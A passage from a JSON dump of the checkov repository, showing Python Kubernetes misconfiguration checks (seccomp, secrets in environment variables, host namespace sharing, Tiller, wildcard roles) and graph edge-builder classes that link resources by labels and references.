    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass SeccompPSP(BaseK8Check):\n    def __init__(self) -> None:\n        # CIS-1.5 5.7.2\n        name = \"Ensure default seccomp profile set to docker/default or runtime/default\"\n        id = \"CKV_K8S_32\"\n        # Location: PodSecurityPolicy.annotations.seccomp.security.alpha.kubernetes.io/defaultProfileName\n        supported_kind = (\"PodSecurityPolicy\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"metadata\" in conf:\n            if \"annotations\" in conf[\"metadata\"] and conf[\"metadata\"].get(\"annotations\"):\n                for annotation in conf[\"metadata\"][\"annotations\"]:\n                    for key in annotation:\n                        if \"seccomp.security.alpha.kubernetes.io/defaultProfileName\" in key:\n                            if \"docker/default\" in annotation[key] or \"runtime/default\" in annotation[key]:\n                                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = SeccompPSP()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/Secrets.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass Secrets(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        # CIS-1.5 5.4.1\n        name = \"Prefer using secrets as files over secrets as environment variables\"\n        id = \"CKV_K8S_35\"\n        # Location: container .env\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"env\", \"envFrom\"]\n        if conf.get(\"env\"):\n            for idx, e in enumerate(conf[\"env\"]):\n                if not isinstance(e, dict):\n                    return CheckResult.UNKNOWN\n                value_from = e.get(\"valueFrom\")\n                if value_from and \"secretKeyRef\" in value_from:\n                    self.evaluated_container_keys = [f\"env/[{idx}]/valueFrom/secretKeyRef\"]\n                    return CheckResult.FAILED\n        if conf.get(\"envFrom\"):\n            for idx, ef in enumerate(conf[\"envFrom\"]):\n                if \"secretRef\" in ef:\n                    self.evaluated_container_keys = [f\"envFrom/[{idx}]/secretRef\"]\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = Secrets()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass ServiceAccountTokens(BaseK8Check):\n    def __init__(self) -> None:\n        # CIS-1.5 5.1.6\n        name = \"Ensure that Service Account Tokens are only mounted where necessary\"\n        # Check automountServiceAccountToken in Pod spec and/or containers\n        # Location: Pod.spec.automountServiceAccountToken\n        # Location: CronJob.spec.jobTemplate.spec.template.spec.automountServiceAccountToken\n        # Location: *.spec.template.spec.automountServiceAccountToken\n        id = \"CKV_K8S_38\"\n        supported_kind = (\n            \"Pod\",\n            \"Deployment\",\n            \"DaemonSet\",\n            \"StatefulSet\",\n            \"ReplicaSet\",\n            \"ReplicationController\",\n            \"Job\",\n            \"CronJob\",\n        )\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        spec = {}\n\n        if conf[\"kind\"] == \"Pod\":\n            if \"spec\" in conf:\n                spec = conf[\"spec\"]\n        elif conf[\"kind\"] == \"CronJob\":\n            inner_spec = find_in_dict(input_dict=conf, key_path=\"spec/jobTemplate/spec/template/spec\")\n            spec = inner_spec if inner_spec else spec\n        else:\n            inner_spec = find_in_dict(input_dict=conf, key_path=\"spec/template/spec\")\n            spec = inner_spec if inner_spec else spec\n\n        # Collect results\n        if spec:\n            if not isinstance(spec, dict):\n                return CheckResult.UNKNOWN\n            if spec.get(\"automountServiceAccountToken\") is False:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = ServiceAccountTokens()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass ShareHostIPC(BaseK8Check):\n    def __init__(self) -> None:\n        # CIS-1.3 1.7.3\n        # CIS-1.5 5.2.3\n        name = \"Containers should not share the host IPC namespace\"\n        id = \"CKV_K8S_18\"\n        # Location: Pod.spec.hostIPC\n        # Location: CronJob.spec.jobTemplate.spec.template.spec.hostIPC\n        # Location: *..spec.template.spec.hostIPC\n        supported_kind = (\n            \"Pod\",\n            \"Deployment\",\n            \"DaemonSet\",\n            \"StatefulSet\",\n            \"ReplicaSet\",\n            \"ReplicationController\",\n            \"Job\",\n            \"CronJob\",\n        )\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        spec = {}\n\n        if conf[\"kind\"] == \"Pod\":\n            if \"spec\" in conf:\n                spec = conf[\"spec\"]\n        elif conf[\"kind\"] == \"CronJob\":\n            inner_spec = find_in_dict(input_dict=conf, key_path=\"spec/jobTemplate/spec/template/spec\")\n            spec = inner_spec if inner_spec else spec\n        else:\n            inner_spec = find_in_dict(input_dict=conf, key_path=\"spec/template/spec\")\n            spec = inner_spec if inner_spec else spec\n        if spec:\n            if \"hostIPC\" in spec:\n                if spec[\"hostIPC\"]:\n                    return CheckResult.FAILED\n\n        # This value is by default set to false\n        return CheckResult.PASSED\n\n\ncheck = ShareHostIPC()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ShareHostIPCPSP.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.kubernetes.checks.resource.base_spec_omitted_or_value_check import BaseSpecOmittedOrValueCheck\n\n\nclass ShareHostIPCPSP(BaseSpecOmittedOrValueCheck):\n    def __init__(self) -> None:\n        # CIS-1.3 1.7.3\n        # CIS-1.5 5.2.3\n        name = \"Do not admit containers wishing to share the host IPC namespace\"\n        id = \"CKV_K8S_3\"\n        # Location: PodSecurityPolicy.spec.hostIPC\n        supported_kind = (\"PodSecurityPolicy\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def get_inspected_key(self) -> str:\n        return \"spec/hostIPC\"\n\n\ncheck = ShareHostIPCPSP()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ShareHostPID.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass ShareHostPID(BaseK8Check):\n    def __init__(self) -> None:\n        # CIS-1.3 1.7.2\n        # CIS-1.5 5.2.2\n        name = \"Containers should not share the host process ID namespace\"\n        id = \"CKV_K8S_17\"\n        # Location: Pod.spec.hostPID\n        # Location: CronJob.spec.jobTemplate.spec.template.spec.hostPID\n        # Location: *.spec.template.spec.hostPID\n        supported_kind = (\n            \"Pod\",\n            \"Deployment\",\n            \"DaemonSet\",\n            \"StatefulSet\",\n            \"ReplicaSet\",\n            \"ReplicationController\",\n            \"Job\",\n            \"CronJob\",\n        )\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        spec = {}\n\n        if conf[\"kind\"] == \"Pod\":\n            if \"spec\" in conf:\n                spec = conf[\"spec\"]\n        elif conf[\"kind\"] == \"CronJob\":\n            inner_spec = find_in_dict(input_dict=conf, key_path=\"spec/jobTemplate/spec/template/spec\")\n            spec = inner_spec if inner_spec else spec\n        else:\n            inner_spec = find_in_dict(input_dict=conf, key_path=\"spec/template/spec\")\n            spec = inner_spec if inner_spec else spec\n        if spec:\n            if \"hostPID\" in spec:\n                if spec[\"hostPID\"]:\n                    return CheckResult.FAILED\n\n        # This value is by default set to false\n        return CheckResult.PASSED\n\n\ncheck = ShareHostPID()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/ShareHostPIDPSP.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.kubernetes.checks.resource.base_spec_omitted_or_value_check import BaseSpecOmittedOrValueCheck\n\n\nclass ShareHostPIDPSP(BaseSpecOmittedOrValueCheck):\n    def __init__(self) -> None:\n        # CIS-1.3 1.7.2\n        # CIS-1.5 5.2.2\n        name = \"Do not admit containers wishing to share the host process ID namespace\"\n        id = \"CKV_K8S_1\"\n        # Location: PodSecurityPolicy.spec.hostPID\n        supported_kind = (\"PodSecurityPolicy\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def get_inspected_key(self) -> str:\n        return \"spec/hostPID\"\n\n\ncheck = ShareHostPIDPSP()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass SharedHostNetworkNamespace(BaseK8Check):\n    def __init__(self) -> None:\n        # CIS-1.3 1.7.4\n        # CIS-1.5 5.2.4\n        name = \"Containers should not share the host network namespace\"\n        id = \"CKV_K8S_19\"\n        # Location: Pod.spec.hostNetwork\n        # Location: CronJob.spec.jobTemplate.spec.template.spec.hostNetwork\n        # Location: *.spec.template.spec.hostNetwork\n        supported_kind = (\n            \"Pod\",\n            \"Deployment\",\n            \"DaemonSet\",\n            \"StatefulSet\",\n            \"ReplicaSet\",\n            \"ReplicationController\",\n            \"Job\",\n            \"CronJob\",\n        )\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        spec = {}\n\n        if conf[\"kind\"] == \"Pod\":\n            if \"spec\" in conf:\n                spec = conf[\"spec\"]\n        elif conf[\"kind\"] == \"CronJob\":\n            inner_spec = find_in_dict(input_dict=conf, key_path=\"spec/jobTemplate/spec/template/spec\")\n            spec = inner_spec if inner_spec else spec\n        else:\n            inner_spec = find_in_dict(input_dict=conf, key_path=\"spec/template/spec\")\n            spec = inner_spec if inner_spec else spec\n        if spec:\n            if \"hostNetwork\" in spec:\n                if spec[\"hostNetwork\"]:\n                    return CheckResult.FAILED\n\n        # This value is by default set to false\n        return CheckResult.PASSED\n\n\ncheck = SharedHostNetworkNamespace()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespacePSP.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.kubernetes.checks.resource.base_spec_omitted_or_value_check import BaseSpecOmittedOrValueCheck\n\n\nclass SharedHostNetworkNamespacePSP(BaseSpecOmittedOrValueCheck):\n    def __init__(self) -> None:\n        # CIS-1.3 1.7.4\n        # CIS-1.5 5.2.4\n        name = \"Do not admit containers wishing to share the host network namespace\"\n        id = \"CKV_K8S_4\"\n        # Location: PodSecurityPolicy.spec.hostNetwork\n        supported_kind = (\"PodSecurityPolicy\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def get_inspected_key(self) -> str:\n        return \"spec/hostNetwork\"\n\n\ncheck = SharedHostNetworkNamespacePSP()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/Tiller.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\n\n\nclass Tiller(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Tiller (Helm v2) is not deployed\"\n        id = \"CKV_K8S_34\"\n        # Location: container .image\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"image\"]\n        return CheckResult.FAILED if Tiller.is_tiller(metadata, conf) else CheckResult.PASSED\n\n    @staticmethod\n    def is_tiller(metadata: Dict[str, Any], conf: Dict[str, Any]) -> bool:\n        image = conf.get(\"image\")\n        if image and isinstance(image, str) and \"tiller\" in image:\n            return True\n\n        if metadata:\n            labels = metadata.get(\"labels\")\n            if labels:\n                if labels.get(\"app\") == \"helm\":\n                    return True\n                elif labels.get(\"name\") == \"tiller\":\n                    return True\n\n        return False\n\n\ncheck = Tiller()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck\nfrom checkov.kubernetes.checks.resource.k8s.Tiller import Tiller\n\n\nclass TillerDeploymentListener(BaseK8sContainerCheck):\n    def __init__(self) -> None:\n        name = \"Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster\"\n        id = \"CKV_K8S_45\"\n        # Location: container .image\n        super().__init__(name=name, id=id)\n\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_container_keys = [\"image\"]\n        if not Tiller.is_tiller(metadata, conf):\n            return CheckResult.UNKNOWN\n\n        self.evaluated_container_keys.append(\"arge\")\n        args = conf.get(\"args\")\n        if args:\n            for arg in args:\n                if \"--listen\" in arg and (\"localhost\" in arg or \"127.0.0.1\" in arg):\n                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = TillerDeploymentListener()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/TillerService.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass TillerService(BaseK8Check):\n    def __init__(self) -> None:\n        name = \"Ensure that the Tiller Service (Helm v2) is deleted\"\n        id = \"CKV_K8S_44\"\n        # Location: container .image\n        supported_kind = (\"Service\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        metadata = conf.get(\"metadata\")\n        if metadata:\n            if \"name\" in metadata and \"tiller\" in str(metadata[\"name\"]).lower():\n                return CheckResult.FAILED\n            labels = metadata.get(\"labels\")\n            if labels and isinstance(labels, dict):\n                for v in labels.values():\n                    if \"tiller\" in str(v).lower():\n                        return CheckResult.FAILED\n\n        spec = conf.get(\"spec\")\n        if spec:\n            selector = spec.get(\"selector\")\n            if selector and isinstance(selector, dict):\n                for v in selector.values():\n                    if \"tiller\" in str(v).lower():\n                        return CheckResult.FAILED\n\n        return CheckResult.UNKNOWN\n\n\ncheck = TillerService()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/WildcardRoles.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\n\n\nclass WildcardRoles(BaseK8Check):\n    # CIS-1.6 5.1.3\n    def __init__(self) -> None:\n        name = \"Minimize wildcard use in Roles and ClusterRoles\"\n        id = \"CKV_K8S_49\"\n        categories = (CheckCategories.KUBERNETES,)\n        supported_kind = ('Role', 'ClusterRole',)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind)\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        rules = conf.get(\"rules\")\n        if isinstance(rules, list) and len(rules) > 0:\n            if \"apiGroups\" in conf[\"rules\"][0]:\n                if any(\"*\" in s for s in conf[\"rules\"][0][\"apiGroups\"]):\n                    return CheckResult.FAILED\n            if \"resources\" in conf[\"rules\"][0]:\n                if any(\"*\" in s for s in conf[\"rules\"][0][\"resources\"]):\n                    return CheckResult.FAILED\n            if \"verbs\" in conf[\"rules\"][0]:\n                if any(\"*\" in s for s in conf[\"rules\"][0][\"verbs\"]):\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = WildcardRoles()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/k8s/k8s_check_utils.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\n\ndef extract_commands(conf: dict[str, Any]) -> tuple[list[str], list[str]]:\n    commands = conf.get(\"command\")\n    if not commands or not isinstance(commands, list):\n        return [], []\n    values = []\n    keys = []\n    for cmd in commands:\n        if cmd is None:\n            continue\n        if isinstance(cmd, str) and \"=\" in cmd:\n            key, value = cmd.split(\"=\", maxsplit=1)\n            keys.append(key)\n            values.append(value)\n        else:\n            keys.append(cmd)\n            values.append('')\n    return keys, values\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.kubernetes.checks.resource.base_registry import Registry\n\nregistry = Registry(CheckType.KUBERNETES)\n"
  },
  {
    "path": "checkov/kubernetes/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/kubernetes/graph_builder/graph_components/ResourceKeywordIdentifier.py",
    "content": "class ResourceKeywordIdentifier:\n    \"\"\"\n    this class maps connections between resources by their unique keyword identifier.\n    each resource in this class has a list of objects, and each object defines a potential connection to a different\n    resource only if all attributes in the object are matched. each object in the list is independent regardless of\n    the other objects in the list.\n\n    for example:\n    A ServiceAccount resource A with the property 'metadata.name' with value 'service-123' will match a resource B\n    of type 'ClusterRoleBinding' with a 'subjects.name' property equals to 'service-123'\n    and\n    the property 'kind' for resource A matches resource B's 'subjects.kind' property\n    \"\"\"\n\n    KINDS_KEYWORDS_MAP = {\n        # TODO: \"PersistentVolumeClaim\": [\"claimName\"],\n        # TODO: \"ClusterRole\": [\"rules[].resources\", \"rules[].resourceNames\"],\n        # TODO: \"Role\": [\"rules[].resources\", \"rules[].resourceNames\"],\n\n        \"ClusterRoleBinding\": [\n            {\"metadata.name\": \"roleRef.name\", \"kind\": \"roleRef.kind\"},\n            [{\"subjects\": {\"metadata.name\": \"name\", \"kind\": \"kind\"}}]\n        ],\n        \"RoleBinding\": [\n            {\"metadata.name\": \"roleRef.name\", \"kind\": \"roleRef.kind\"},\n            [{\"subjects\": {\"metadata.name\": \"name\", \"kind\": \"kind\", \"metadata.namespace\": \"namespace\"}}]\n        ]\n    }\n"
  },
  {
    "path": "checkov/kubernetes/graph_builder/graph_components/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/kubernetes/graph_builder/graph_components/blocks.py",
    "content": "from __future__ import annotations\n\nfrom dataclasses import dataclass\nfrom typing import Dict, Any\n\nfrom checkov.common.graph.graph_builder.graph_components.blocks import Block\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType\n\n\n@dataclass\nclass KubernetesSelector:\n    match_labels: Dict[str, Any] | None\n\n\n@dataclass\nclass KubernetesBlockMetadata:\n    selector: KubernetesSelector\n    labels: Dict[str, Any]\n    name: str\n\n\nclass KubernetesBlock(Block):\n    def __init__(\n            self,\n            block_name: str,\n            resource_type: str,\n            config: Dict[str, Any],\n            path: str,\n            attributes: Dict[str, Any],\n            metadata: KubernetesBlockMetadata | None\n    ) -> None:\n        super().__init__(block_name, config, path, BlockType.RESOURCE, attributes, block_name, 'Kubernetes')\n        self.metadata = metadata\n        self.resource_type = resource_type\n"
  },
  {
    "path": "checkov/kubernetes/graph_builder/graph_components/edge_builders/K8SEdgeBuilder.py",
    "content": "from __future__ import annotations\nfrom abc import abstractmethod\n\nfrom checkov.kubernetes.graph_builder.graph_components.blocks import KubernetesBlock\n\n\nclass K8SEdgeBuilder:\n\n    @staticmethod\n    @abstractmethod\n    def should_search_for_edges(vertex: KubernetesBlock) -> bool:\n        \"\"\"\n        implementation should examine vertex's attributes and indicate if it's potentially\n        suitable for the concrete class's edge type.\n        e.g: search for a label attribute in LabelSelectorEdgeBuilder's implementation\n        \"\"\"\n        raise NotImplementedError\n\n    @staticmethod\n    @abstractmethod\n    def find_connections(vertex: KubernetesBlock, vertices: list[KubernetesBlock]) -> list[int]:\n        \"\"\"\n        implementation should search in each of the vertices for a possible connection\n        to the vertex param according to the concrete class's rule(s).\n        returns a list of the connected vertices' indices\n        e.g: find vertices with a label attribute that match current vertex's selector attribute\n        \"\"\"\n        raise NotImplementedError\n"
  },
  {
    "path": "checkov/kubernetes/graph_builder/graph_components/edge_builders/KeywordEdgeBuilder.py",
    "content": "from __future__ import annotations\n\nfrom checkov.kubernetes.graph_builder.graph_components.edge_builders.K8SEdgeBuilder import K8SEdgeBuilder\nfrom checkov.kubernetes.graph_builder.graph_components.blocks import KubernetesBlock\nfrom checkov.kubernetes.graph_builder.graph_components.ResourceKeywordIdentifier import ResourceKeywordIdentifier\nfrom checkov.kubernetes.kubernetes_utils import FILTERED_RESOURCES_FOR_EDGE_BUILDERS\n\n\nclass KeywordEdgeBuilder(K8SEdgeBuilder):\n\n    @staticmethod\n    def should_search_for_edges(vertex: KubernetesBlock) -> bool:\n        return vertex.attributes.get(\"kind\") in ResourceKeywordIdentifier.KINDS_KEYWORDS_MAP.keys() \\\n            and vertex.attributes.get(\"kind\") not in FILTERED_RESOURCES_FOR_EDGE_BUILDERS\n\n    @staticmethod\n    def find_connections(vertex: KubernetesBlock, vertices: list[KubernetesBlock]) -> list[int]:\n        \"\"\"\n        connection is defined by a match between a vertex's (of a certain type) references definitions to a potential\n        vertex (of any type).\n\n        example:\n        A Pod with the property 'spec.serviceAccountName' with value 'service-123' will match a resource of type\n        'ServiceAccount' with a 'metadata.name' property equals to 'service-123'\n        \"\"\"\n\n        connections: list[int] = []\n        for potential_vertex_index, potential_vertex in enumerate(vertices):\n            if potential_vertex.id == vertex.id:\n                continue\n            resource_references_definitions: list[dict[str, str] | list[dict[str, dict[str, str]]]] = ResourceKeywordIdentifier.KINDS_KEYWORDS_MAP[vertex.attributes[\"kind\"]]  # type: ignore[assignment]\n            # check that resource items comply to all references definitions defined in ResourceKeywordIdentifier\n            for references_definition in resource_references_definitions:\n                match = True\n\n                if isinstance(references_definition, dict):\n                    for potential_vertex_key, vertex_key in references_definition.items():\n                        match = KeywordEdgeBuilder._find_match_in_attributes(vertex, potential_vertex, potential_vertex_key, vertex_key, match)\n                    if match:\n                        connections.append(potential_vertex_index)\n\n                # some items are nested in lists and their value in the vertex is concatenated with their index,\n                # like so:  subjects.0.name\n                elif isinstance(references_definition, list):\n                    # not really a loop, just extracting the dict's key\n                    for base_key_attribute, reference_definitions_items in references_definition[0].items():\n                        vertex_attribute_references_list: list[dict[str, str]] = vertex.attributes.get(base_key_attribute)  # type: ignore[assignment]\n                        if not vertex_attribute_references_list:\n                            continue\n                        # iterate every item on the list as a separate resource\n                        for i in range(len(vertex_attribute_references_list)):\n                            match = True\n                            for potential_vertex_key, vertex_key in reference_definitions_items.items():\n                                vertex_key = f\"{base_key_attribute}.{i}.{vertex_key}\"\n                                match = KeywordEdgeBuilder._find_match_in_attributes(vertex, potential_vertex, potential_vertex_key, vertex_key, match)\n                            if match:\n                                connections.append(potential_vertex_index)\n\n        return connections\n\n    @staticmethod\n    def _find_match_in_attributes(vertex: KubernetesBlock,\n                                  potential_vertex: KubernetesBlock,\n                                  potential_vertex_key: str,\n                                  vertex_key: str,\n                                  match: bool) -> bool:\n\n        vertex_ref = vertex.attributes.get(vertex_key)\n        potential_vertex_ref = potential_vertex.attributes.get(potential_vertex_key)\n        if vertex_ref is None or potential_vertex_ref is None or vertex_ref != potential_vertex_ref:\n            # if not all attributes match then it's not qualified as an edge\n            match = False\n\n        return match\n"
  },
  {
    "path": "checkov/kubernetes/graph_builder/graph_components/edge_builders/LabelSelectorEdgeBuilder.py",
    "content": "from __future__ import annotations\n\nfrom checkov.kubernetes.graph_builder.graph_components.edge_builders.K8SEdgeBuilder import K8SEdgeBuilder\nfrom checkov.kubernetes.graph_builder.graph_components.blocks import KubernetesBlock\nfrom checkov.kubernetes.kubernetes_utils import FILTERED_RESOURCES_FOR_EDGE_BUILDERS\n\n\nclass LabelSelectorEdgeBuilder(K8SEdgeBuilder):\n\n    @staticmethod\n    def should_search_for_edges(vertex: KubernetesBlock) -> bool:\n        return vertex.metadata is not None \\\n            and vertex.metadata.labels is not None \\\n            and \"kind\" in vertex.attributes \\\n            and vertex.attributes[\"kind\"] not in FILTERED_RESOURCES_FOR_EDGE_BUILDERS\n\n    @staticmethod\n    def find_connections(vertex: KubernetesBlock, vertices: list[KubernetesBlock]) -> list[int]:\n        \"\"\"\n        connection is defined when all vertex's match_labels are matched to another vertex's labels.\n\n        example #1:\n            object A match_labels - {label1: \"foo\", label2: \"bar\"}\n            object B labels       - {label1: \"foo\", label2: \"bar\", label3: \"baz\"}\n        A and B are connected because all A's match_labels appear in B's labels\n\n        example #2:\n            object C match_labels - {label1: \"foo\", label2: \"bar\", label3: \"baz\"}\n            object D labels       - {label1: \"foo\", label2: \"bar\"}\n        C and D are not connected since Not all C's match_labels appear in D's labels\n        \"\"\"\n\n        connections: list[int] = []\n\n        if not vertex.metadata:\n            return connections\n\n        labels = vertex.metadata.labels\n        for potential_vertex_index, potential_vertex in enumerate(vertices):\n            if potential_vertex.id == vertex.id or not potential_vertex.metadata:\n                continue\n\n            match_labels = potential_vertex.metadata.selector.match_labels\n            if match_labels:\n                if len(match_labels) > len(labels):\n                    continue\n                # find shared label between the inspected vertex and the iterated potential vertex\n                shared_labels = [k for k in match_labels if k in labels and match_labels[k] == labels[k]]\n                if len(shared_labels) == len(match_labels):\n                    # if all potential vertex's selector labels appear in vertex's labels - it's connected\n                    connections.append(potential_vertex_index)\n\n        return connections\n"
  },
  {
    "path": "checkov/kubernetes/graph_builder/graph_components/edge_builders/NetworkPolicyEdgeBuilder.py",
    "content": "from __future__ import annotations\n\nfrom checkov.kubernetes.graph_builder.graph_components.edge_builders.K8SEdgeBuilder import K8SEdgeBuilder\nfrom checkov.kubernetes.graph_builder.graph_components.blocks import KubernetesBlock\nfrom checkov.kubernetes.kubernetes_utils import remove_metadata_from_attribute\n\n\nclass NetworkPolicyEdgeBuilder(K8SEdgeBuilder):\n\n    @staticmethod\n    def should_search_for_edges(vertex: KubernetesBlock) -> bool:\n        return bool(vertex.attributes.get(\"kind\") == \"NetworkPolicy\")\n\n    @staticmethod\n    def find_connections(vertex: KubernetesBlock, vertices: list[KubernetesBlock]) -> list[int]:\n        \"\"\"\n        this edge builder is a specific case of LabelSelectorEdgeBuilder with 2 differences:\n        1. it applies only to NetworkPolicy resources that connect to Pod resources\n        2. it handles a wildcard that attaches a NetworkPolicy resource to all pods. for example:\n\n        apiVersion: networking.k8s.io/v1\n        kind: NetworkPolicy\n        metadata:\n          name: default-deny-ingress\n        spec:\n          podSelector: {}\n          policyTypes:\n          - Ingress\n        \"\"\"\n\n        connections: list[int] = []\n        for potential_pod_index, potential_vertex in enumerate(vertices):\n            if potential_vertex.id == vertex.id or potential_vertex.attributes.get(\"kind\") != \"Pod\":\n                continue\n\n            network_policy = vertex\n            pod = potential_vertex\n\n            pod_spec = network_policy.attributes.get(\"spec\", {})\n            if pod_spec is None:\n                continue\n            pod_selector = pod_spec.get(\"podSelector\")\n            if not pod_selector:\n                continue\n            match_labels = pod_selector.get(\"matchLabels\")\n            remove_metadata_from_attribute(match_labels)\n\n            # the network policy has specific pod labels\n            if match_labels and pod.metadata is not None and pod.metadata.labels is not None:\n                pod_labels = pod.metadata.labels\n                if len(match_labels) > len(pod_labels):\n                    continue\n                # find shared label between the inspected vertex and the iterated potential vertex\n                shared_labels = [k for k in match_labels if k in pod_labels and match_labels[k] == pod_labels[k]]\n                if len(shared_labels) == len(match_labels):\n                    connections.append(potential_pod_index)\n            # the network policy has a podSelector property with no labels and should apply for all pods\n            else:\n                connections.append(potential_pod_index)\n\n        return connections\n"
  },
  {
    "path": "checkov/kubernetes/graph_builder/graph_components/edge_builders/ServiceAccountEdgeBuilder.py",
